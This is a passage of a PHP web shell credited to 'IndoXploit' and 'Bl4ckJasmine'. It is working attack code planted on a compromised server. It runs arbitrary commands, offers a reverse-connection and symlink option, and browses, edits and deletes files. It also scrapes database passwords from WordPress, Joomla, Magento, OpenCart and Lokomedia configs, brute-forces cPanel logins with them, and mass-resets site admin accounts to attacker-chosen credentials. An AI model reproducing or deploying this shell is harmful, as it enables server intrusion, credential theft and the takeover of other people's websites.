1081 print "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=" . path() . "&file=" . $fileinfo['path'] . "'>$files</a></td>";
1082 print "<td class='td_home' style='text-align: center;'>" . $fileinfo['type'] . "</td>";
1083 print "<td class='td_home' style='text-align: center;'>" . $fileinfo['size'] . "</td>";
1084 print "<td class='td_home' style='text-align: center;'>" . $fileinfo['time'] . "</td>";
1085 print "<td class='td_home' style='text-align: center;'>" . $fileinfo['owner'] . DIRECTORY_SEPARATOR . $fileinfo['group'] . "</td>";
1086 print "<td class='td_home' style='text-align: center;'>" . $fileinfo['perms'] . "</td>";
1087 print "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=" . path() . "&file=" . $fileinfo['path'] . "'>E</a> | <a href='?act=rename&dir=" . path() . "&file=" . $fileinfo['path'] . "'>R</a> | <a href='?act=delete&dir=" . path() . "&file=" . $fileinfo['path'] . "'>RM</a> | <a href='?act=download&dir=" . path() . "&file=" . $fileinfo['path'] . "'>D</a></td>";
1088 print "</tr>";
1089 }
1090 print "</table>";
1091 print "<br><i><center>© " . color(1, 2, "IndoXploit") . " and mixed by " . color(6, 6, "Bl4ckJasmine") . "</i></a></center>";
1092 }
1093 function action() {
1094 tools("upload");
1095 tools("cmd");
1096 print "<center>";
1097 print "<ul>";
1098 print "<pre>----------------------------------------------</pre>";
1099 print "<font color='red'>[<a href='?'><font color='red'> ! </font></a>]</font> -";
1100 print " [ <a href='?dir=" . path() . "&njing=cpanel'><font color='gold'>CPANEL TOOLS</font></a> ] -";
1101 print " [ <a href='?dir=" . path() . "&njing=mpc'><font color='gold'>MASS PASS CHANGER</font></a> ] -";
1102 print "<font color='red'> [</font><a href='?'></a><font color='red'> ! </a>]</font>";
1103 print "<pre>----------------------------------------------</pre>";
1104 print "</ul>";
1105 print "</center>";
1106 if (isset($_GET['njing'])) {
1107 if ($_GET['njing'] === "cmd") {
1108 if (isset($_POST['cmd'])) {
1109 if (preg_match("/^rf (.*)$/", $_POST['cmd'], $match)) {
1110 tools("readfile", $match[1]);
1111 } elseif (preg_match("/^spawn (.*)$/", $_POST['cmd'], $match)) {
1112 tools("spawn", $match[1]);
1113 } elseif (preg_match("/^symlink$/", $_POST['cmd'], $match)) {
1114 tools("symlink");
1115 } elseif (preg_match("/^help$/", $_POST['cmd'], $match)) {
1116 tools("help");
1117 } elseif (preg_match("/^rvr (.*)$/", $_POST['cmd'], $match)) {
1118 tools("network", $match[1]);
1119 } elseif (preg_match("/^krdp$/", $_POST['cmd'])) {
1120 tools("krdp");
1121 } elseif (preg_match("/^jumping$/", $_POST['cmd'])) {
1122 tools("jumping");
1123 } elseif (preg_match("/^blackgrab$/", $_POST['cmd'])) {
1124 tools("blackgrab");
1125 } elseif (preg_match("/^logout$/", $_POST['cmd'])) {
1126 unset($_SESSION[md5($_SERVER['HTTP_HOST']) ]);
1127 print "<script>window.location='?';</script>";
1128 } elseif (preg_match("/^killme$/", $_POST['cmd'])) {
1129 unset($_SESSION[md5($_SERVER['HTTP_HOST']) ]);
1130 @unlink(__FILE__);
1131 print "<script>window.location='?';</script>";
1132 } else {
1133 print "<pre>" . exe($_POST['cmd']) . "</pre>";
1134 }
1135 } else {
1136 files_and_folder();
1137 }
1138 } elseif ($_GET['njing'] == 'cpanel') {
1139 if ($_POST['crack']) {
1140 $usercp = explode("
1141", $_POST['user_cp']);
1142 $passcp = explode("
1143", $_POST['pass_cp']);
1144 $i = 0;
1145 foreach ($usercp as $ucp) {
1146 foreach ($passcp as $pcp) {
1147 $connect = mysql_connect('localhost', $ucp, $pcp);
1148 if ($connect) {
1149 if ($_SESSION[$ucp] && $_SESSION[$pcp]) {
1150 } else {
1151 $_SESSION[$ucp] = "1";
1152 $_SESSION[$pcp] = "1";
1153 if ($ucp === '' || $pcp === '') {
1154 //
1155
1156 } else {
1157 $i++;
1158 print "username (" . color(1, 2, $ucp) . ") password (" . color(1, 2, $pcp) . ") domain (";
1159 if (!function_exists('posix_getpwuid')) print color(1, 1, "Function is Disable by System!");
1160 if (!getdomainname()) print color(1, 1, "Can't get domain name");
1161 foreach (getdomainname() as $domain) {
1162 $userdomain = (object)@posix_getpwuid(@fileowner("/etc/valiases/$domain"));
1163 $userdomain = $userdomain->name;
1164 if ($userdomain === $user) {
1165 print "<a href='http://$domain/' target='_blank'>" . color(1, 2, $domain) . "</a><br>";
1166 break;
1167 }
1168 }
1169 print (empty($domain)) ? color(1, 1, "Can't get domain name.") : color(1, 2, $domain);
1170 print ")<br>";
1171 }
1172 }
1173 mysql_close($connect);
1174 }
1175 }
1176 }
1177 print ($i === 0) ? "" : "<p>" . color(1, 3, "u found $i cPanel by Bl4ckJasmine") . "</p>";
1178 } else {
1179 print "<center>
1180
1181 <form method='post'>
1182 USER: <br>
1183 <textarea style='width: 450px; height: 150px;' name='user_cp'>";
1184 print implode("
1185", getuser());
1186 print "</textarea><br>
1187 PASS: <br>
1188 <span>Grab Password from Link Config:</span><br>
1189 <input style='width: 425px; background: transparent; border: 1px solid #ffffff; color: #ffffff;' type='text' name='linkpass' placeholder='victim/blacksym/'>
1190 <input style='background: transparent; border: 1px solid #ffffff; color: #ffffff;' type='submit' name='submitlink' value='>>'>
1191 <br>
1192 <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
1193 if (isset($_POST['submitlink'])) {
1194 $getpass = $_POST['linkpass'];
1195 $get = curl($_POST['linkpass']) ['response'];
1196 preg_match_all('/<a href="(.*?).txt">/', $get, $link);
1197 foreach ($link[1] as $link_config) {
1198 $scandir[] = "$link_config.txt";
1199 }
1200 } else {
1201 $getpass = path();
1202 $scandir = scandir($getpass);
1203 }
1204 $password = "";
1205 foreach ($scandir as $files) {
1206 $file = "$getpass/$files";
1207 $config = file_get_contents($file);
1208 if (preg_match("/WordPress/", $config)) {
1209 $password.= getValue($config, "DB_PASSWORD', '", "'") . "
1210";
1211 } elseif (preg_match("/JConfig|joomla/", $config)) {
1212 $password.= getValue($config, "password = '", "'") . "
1213";
1214 } elseif (preg_match("/Magento|Mage_Core/", $config)) {
1215 $password.= getValue($config, "<password><![CDATA[", "]]></password>") . "
1216";
1217 } elseif (preg_match("/panggil fungsi validasi xss dan injection/", $config)) {
1218 $password.= getValue($config, 'password = "', '"') . "
1219";
1220 } elseif (preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $config)) {
1221 $password.= getValue($config, "'DB_PASSWORD', '", "'") . "
1222";
1223 } elseif (preg_match("/^[client]$/", $config)) {
1224 preg_match("/password=(.*?)/", $config, $pass);
1225 if (preg_match('/"/', $pass[1])) {
1226 $pass[1] = str_replace('"', "", $pass[1]);
1227 $password.= $pass[1] . "
1228";
1229 } else {
1230 $password.= $pass[1] . "
1231";
1232 }
1233 } elseif (preg_match("/cc_encryption_hash/", $config)) {
1234 $password.= getValue($config, "db_password = '", "'") . "
1235";
1236 }
1237 }
1238 print $password;
1239 print "</textarea><br>
1240 <input style='background: transparent; color: #ffffff; border: 1px solid #ffffff; width: 460px;' type='submit' name='crack' value='Crack'>
1241 </form></center>";
1242 }
1243 } elseif ($_GET['njing'] == 'mpc') {
1244 if ($_POST['hajar']) {
1245 if (strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
1246 print "username atau password harus lebih dari 6 karakter";
1247 } else {
1248 $user_baru = $_POST['user_baru'];
1249 $pass_baru = md5($_POST['pass_baru']);
1250 $conf = $_POST['config_dir'];
1251 if (preg_match("/^http:\/\//", $conf) OR preg_match("/^https:\/\//", $conf)) {
1252 $get = curl($conf) ['response'];
1253 preg_match_all('/<a href="(.*?).txt">/', $get, $link);
1254 foreach ($link[1] as $link_config) {
1255 $scan_conf[] = "$link_config.txt";
1256 }
1257 } else {
1258 $scan_conf = scandir($conf);
1259 }
1260 foreach ($scan_conf as $file_conf) {
1261 $config = file_get_contents("$conf/$file_conf");
1262 if (preg_match("/JConfig|joomla/", $config)) {
1263 $dbhost = getValue($config, "host = '", "'");
1264 $dbuser = getValue($config, "user = '", "'");
1265 $dbpass = getValue($config, "password = '", "'");
1266 $dbname = getValue($config, "db = '", "'");
1267 $dbprefix = getValue($config, "dbprefix = '", "'");
1268 $prefix = $dbprefix . "users";
1269 $conn = mysql_connect($dbhost, $dbuser, $dbpass);
1270 $db = mysql_select_db($dbname);
1271 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
1272 $result = mysql_fetch_array($q);
1273 $id = $result['id'];
1274 $site = getValue($config, "sitename = '", "'");
1275 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
1276 print "Config => " . $file_conf . "<br>";
1277 print "CMS => Joomla<br>";
1278 if ($site == '') {
1279 print "Sitename => " . color(1, 1, "Can't get domain name") . "<br>";
1280 } else {
1281 print "Sitename => $site<br>";
1282 }
1283 if (!$update OR !$conn OR !$db) {
1284 print "Status => " . color(1, 1, mysql_error()) . "<br><br>";
1285 } else {
1286 print "Status => " . color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.") . "<br><br>";
1287 }
1288 mysql_close($conn);
1289 } elseif (preg_match("/WordPress/", $config)) {
1290 $dbhost = getValue($config, "DB_HOST', '", "'");
1291 $dbuser = getValue($config, "DB_USER', '", "'");
1292 $dbpass = getValue($config, "DB_PASSWORD', '", "'");
1293 $dbname = getValue($config, "DB_NAME', '", "'");
1294 $dbprefix = getValue($config, "table_prefix = '", "'");
1295 $prefix = $dbprefix . "users";
1296 $option = $dbprefix . "options";
1297 $conn = mysql_connect($dbhost, $dbuser, $dbpass);
1298 $db = mysql_select_db($dbname);
1299 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
1300 $result = mysql_fetch_array($q);
1301 $id = $result[ID];
1302 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
1303 $result2 = mysql_fetch_array($q2);
1304 $target = $result2[option_value];
1305 if ($target == '') {
1306 $url_target = "Login => " . color(1, 1, "Cant't get domain name") . "<br>";
1307 } else {
1308 $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
1309 }
1310 $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
1311 print "Config => " . $file_conf . "<br>";
1312 print "CMS => Wordpress<br>";
1313 print $url_target;
1314 if (!$update OR !$conn OR !$db) {
1315 print "Status => " . color(1, 1, mysql_error()) . "<br><br>";
1316 } else {
1317 print "Status => " . color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.") . "<br><br>";
1318 }
1319 mysql_close($conn);
1320 } elseif (preg_match("/Magento|Mage_Core/", $config)) {
1321 $dbhost = getValue($config, "<host><![CDATA[", "]]></host>");
1322 $dbuser = getValue($config, "<username><![CDATA[", "]]></username>");
1323 $dbpass = getValue($config, "<password><![CDATA[", "]]></password>");
1324 $dbname = getValue($config, "<dbname><![CDATA[", "]]></dbname>");
1325 $dbprefix = getValue($config, "<table_prefix><![CDATA[", "]]></table_prefix>");
1326 $prefix = $dbprefix . "admin_user";
1327 $option = $dbprefix . "core_config_data";
1328 $conn = mysql_connect($dbhost, $dbuser, $dbpass);
1329 $db = mysql_select_db($dbname);
1330 $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
1331 $result = mysql_fetch_array($q);
1332 $id = $result[user_id];
1333 $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
1334 $result2 = mysql_fetch_array($q2);
1335 $target = $result2[value];
1336 if ($target == '') {
1337 $url_target = "Login => " . color(1, 1, "Cant't get domain name") . "<br>";
1338 } else {
1339 $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
1340 }
1341 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
1342 print "Config => " . $file_conf . "<br>";
1343 print "CMS => Magento<br>";
1344 print $url_target;
1345 if (!$update OR !$conn OR !$db) {
1346 print "Status => " . color(1, 1, mysql_error()) . "<br><br>";
1347 } else {
1348 print "Status => " . color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.") . "<br><br>";
1349 }
1350 mysql_close($conn);
1351 } elseif (preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $config)) {
1352 $dbhost = getValue($config, "'DB_HOSTNAME', '", "'");
1353 $dbuser = getValue($config, "'DB_USERNAME', '", "'");
1354 $dbpass = getValue($config, "'DB_PASSWORD', '", "'");
1355 $dbname = getValue($config, "'DB_DATABASE', '", "'");
1356 $dbprefix = getValue($config, "'DB_PREFIX', '", "'");
1357 $prefix = $dbprefix . "user";
1358 $conn = mysql_connect($dbhost, $dbuser, $dbpass);
1359 $db = mysql_select_db($dbname);
1360 $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
1361 $result = mysql_fetch_array($q);
1362 $id = $result[user_id];
1363 $target = getValue($config, "HTTP_SERVER', '", "'");
1364 if ($target == '') {
1365 $url_target = "Login => " . color(1, 1, "Cant't get domain name") . "<br>";
1366 } else {
1367 $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
1368 }
1369 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
1370 print "Config => " . $file_conf . "<br>";
1371 print "CMS => OpenCart<br>";
1372 print $url_target;
1373 if (!$update OR !$conn OR !$db) {
1374 print "Status => " . color(1, 1, mysql_error()) . "<br><br>";
1375 } else {
1376 print "Status => " . color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.") . "<br><br>";
1377 }
1378 mysql_close($conn);
1379 } elseif (preg_match("/panggil fungsi validasi xss dan injection/", $config)) {
1380 $dbhost = getValue($config, 'server = "', '"');
1381 $dbuser = getValue($config, 'username = "', '"');
1382 $dbpass = getValue($config, 'password = "', '"');
1383 $dbname = getValue($config, 'database = "', '"');
1384 $prefix = "users";
1385 $option = "identitas";
1386 $conn = mysql_connect($dbhost, $dbuser, $dbpass);
1387 $db = mysql_select_db($dbname);
1388 $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
1389 $result = mysql_fetch_array($q);
1390 $target = $result[alamat_website];
1391 if ($target == '') {
1392 $target2 = $result[url];
1393 $url_target = "Login => " . color(1, 1, "Cant't get domain name") . "<br>";
1394 if ($target2 == '') {
1395 $url_target2 = "Login => " . color(1, 1, "Cant't get domain name") . "<br>";
1396 } else {
1397 $cek_login3 = file_get_contents("$target2/adminweb/");
1398 $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
1399 if (preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
1400 $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
1401 } elseif (preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
1402 $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
1403 } else {
1404 $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
1405 }
1406 }
1407 } else {
1408 $cek_login = file_get_contents("$target/adminweb/");
1409 $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
1410 if (preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
1411 $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
1412 } elseif (preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
1413 $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
1414 } else {
1415 $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
1416 }
1417 }
1418 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
1419 print "Config => " . $file_conf . "<br>";
1420 print "CMS => Lokomedia<br>";
1421 if (preg_match("/Can't get domain name/", $url_target)) {
1422 print $url_target2;
1423 } else {
1424 print $url_target;
1425 }
1426 if (!$update OR !$conn OR !$db) {
1427 print "Status => " . color(1, 1, mysql_error()) . "<br><br>";
1428 } else {
1429 print "Status => " . color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.") . "<br><br>";
1430 }
1431 mysql_close($conn);
1432 }
1433 }
1434 }
1435 } else {
1436 print "<center>
1437 <h1>Mass Password Change</h1>
1438 <form method='post'>
1439 <input type='radio' name='config_type' value='dir' checked>DIR Config<input type='radio' name='config_type' value='link'>LINK Config<br>
1440 <input type='text' size='50' name='config_dir' value='" . path() . "'><br><br>
1441 Set User & Pass: <br>
1442 <input type='text' name='user_baru' value='bl4ckjasmine' placeholder='user_baru'><br>
1443 <input type='text' name='pass_baru' value='bl4ckjasmine' placeholder='pass_baru'><br>
1444 <input style='background: transparent; color: #ffffff; border: 1px solid #ffffff; width: 215px; margin: 5px auto;' type='submit' name='hajar' value=' execute '>
1445 </form></center>";
1446 }
1447 }
1448 } elseif (isset($_GET['act'])) {
1449 if ($_GET['act'] === 'newfile') {
1450 if ($_POST['save']) {
1451 $filename = htmlspecialchars($_POST['filename']);
1452 $fopen = fopen($filename, "a+");
1453 if ($fopen) {
1454 $act = "<script>window.location='?act=edit&dir=" . path() . "&file=" . $_POST['filename'] . "';</script>";
1455 } else {
1456 $act = color(1, 1, "Permission Denied!");
1457 }
1458 }
1459 print $act;
1460 print "<form method='post'>
1461 Filename: <input type='text' name='filename' value='" . path() . "/newfile.php' style='width: 450px;' height='10'>
1462 <input type='submit' class='input' name='save' value='SUBMIT'>
1463 </form>";
1464 } elseif ($_GET['act'] === 'newfolder') {
1465 if ($_POST['save']) {
1466 $foldername = path() . '/' . htmlspecialchars($_POST['foldername']);
1467 if (!@mkdir($foldername)) {
1468 $act = color(1, 1, "Permission Denied!");
1469 } else {
1470 $act = "<script>window.location='?dir=" . path() . "';</script>";
1471 }
1472 }
1473 print $act;
1474 print "<form method='post'>
1475 Folder Name: <input type='text' name='foldername' style='width: 450px;' height='10'>
1476 <input type='submit' class='input' name='save' value='SUBMIT'>
1477 </form>";
1478 } elseif ($_GET['act'] === 'rename_folder') {
1479 if ($_POST['save']) {
1480 $rename_folder = rename(path(), "" . dirname(path()) . DIRECTORY_SEPARATOR . htmlspecialchars($_POST['foldername']));
1481 if ($rename_folder) {
1482 $act = "<script>window.location='?dir=" . dirname(path()) . "';</script>";
1483 } else {
1484 $act = color(1, 1, "Permission Denied!");
1485 }
1486 print "$act<br>";
1487 }
1488 print "<form method='post'>
1489 <input type='text' value='" . basename(path()) . "' name='foldername' style='width: 450px;' height='10'>
1490 <input type='submit' class='input' name='save' value='RENAME'>
1491 </form>";
1492 } elseif ($_GET['act'] === 'delete_folder') {
1493 if (is_dir(path())) {
1494 if (is_writable(path())) {
1495 @rmdir(path());
1496 if (!@rmdir(path()) AND OS() === "Linux") @exe("rm -rf " . path());
1497 if (!@rmdir(path()) AND OS() === "Windows") @exe("rmdir /s /q " . path());
1498 $act = "<script>window.location='?dir=" . dirname(path()) . "';</script>";
1499 } else {
1500 $act = color(1, 1, "Could not remove directory '" . basename(path()) . "'");
1501 }
1502 }
1503 print $act;
1504 } elseif ($_GET['act'] === 'view') {
1505 print "Filename: " . color(1, 2, basename($_GET['file'])) . " [" . writeable($_GET['file'], perms($_GET['file'])) . "]<br>";
1506 print "[ <a href='?act=view&dir=" . path() . "&file=" . $_GET['file'] . "'><b>view</b></a> ] [ <a href='?act=edit&dir=" . path() . "&file=" . $_GET['file'] . "'>edit</a> ] [ <a href='?act=rename&dir=" . path() . "&file=" . $_GET['file'] . "'>rename</a> ] [ <a href='?act=download&dir=" . path() . "&file=" . $_GET['file'] . "'>download</a> ] [ <a href='?act=delete&dir=" . path() . "&file=" . $_GET['file'] . "'>delete</a> ]<br>";
1507 print "<textarea readonly>" . htmlspecialchars(@file_get_contents($_GET['file'])) . "</textarea>";
1508 } elseif ($_GET['act'] === 'edit') {
1509 if ($_POST['save']) {
1510 $save = file_put_contents($_GET['file'], $_POST['src']);
1511 if ($save) {
1512 $act = color(1, 2, "File Saved!");
1513 } else {
1514 $act = color(1, 1, "Permission Denied!");
1515 }
1516 print "$act<br>";
1517 }
1518 print "Filename: " . color(1, 2, basename($_GET['file'])) . " [" . writeable($_GET['file'], perms($_GET['file'])) . "]<br>";
1519 print "[ <a href='?act=view&dir=" . path() . "&file=" . $_GET['file'] . "'>view</a> ] [ <a href='?act=edit&dir=" . path() . "&file=" . $_GET['file'] . "'><b>edit</b></a> ] [ <a href='?act=rename&dir=" . path() . "&file=" . $_GET['file'] . "'>rename</a> ] [ <a href='?act=download&dir=" . path() . "&file=" . $_GET['file'] . "'>download</a> ] [ <a href='?act=delete&dir=" . path() . "&file=" . $_GET['file'] . "'>delete</a> ]<br>";
1520 print "<form method='post'>
1521 <textarea name='src'>" . htmlspecialchars(@file_get_contents($_GET['file'])) . "</textarea><br>
1522 <input type='submit' class='input' value='SAVE' name='save' style='width: 500px;'>
1523 </form>";
1524 } elseif ($_GET['act'] === 'rename') {
1525 if ($_POST['save']) {
1526 $rename = rename($_GET['file'], path() . DIRECTORY_SEPARATOR . htmlspecialchars($_POST['filename']));
1527 if ($rename) {
1528 $act = "<script>window.location='?dir=" . path() . "';</script>";
1529 } else {
1530 $act = color(1, 1, "Permission Denied!");
1531 }
1532 print "$act<br>";
1533 }
1534 print "Filename: " . color(1, 2, basename($_GET['file'])) . " [" . writeable($_GET['file'], perms($_GET['file'])) . "]<br>";
1535 print "[ <a href='?act=view&dir=" . path() . "&file=" . $_GET['file'] . "'>view</a> ] [ <a href='?act=edit&dir=" . path() . "&file=" . $_GET['file'] . "'>edit</a> ] [ <a href='?act=rename&dir=" . path() . "&file=" . $_GET['file'] . "'><b>rename</b></a> ] [ <a href='?act=download&dir=" . path() . "&file=" . $_GET['file'] . "'>download</a> ] [ <a href='?act=delete&dir=" . path() . "&file=" . $_GET['file'] . "'>delete</a> ]<br>";
1536 print "<form method='post'>
1537 <input type='text' value='" . basename($_GET['file']) . "' name='filename' style='width: 450px;' height='10'>
1538 <input type='submit' class='input' name='save' value='RENAME'>
1539 </form>";
1540 } elseif ($_GET['act'] === 'delete') {
1541 $delete = unlink($_GET['file']);
1542 if ($delete) {
1543 $act = "<script>window.location='?dir=" . path() . "';</script>";
1544 } else {
1545 $act = color(1, 1, "Permission Denied!");
1546 }
1547 print $act;
1548 }
1549 } else {
1550 files_and_folder();
1551 }
1552 }
1553 serverinfo();
1554 action();
1555?>
1556</body>
1557</html>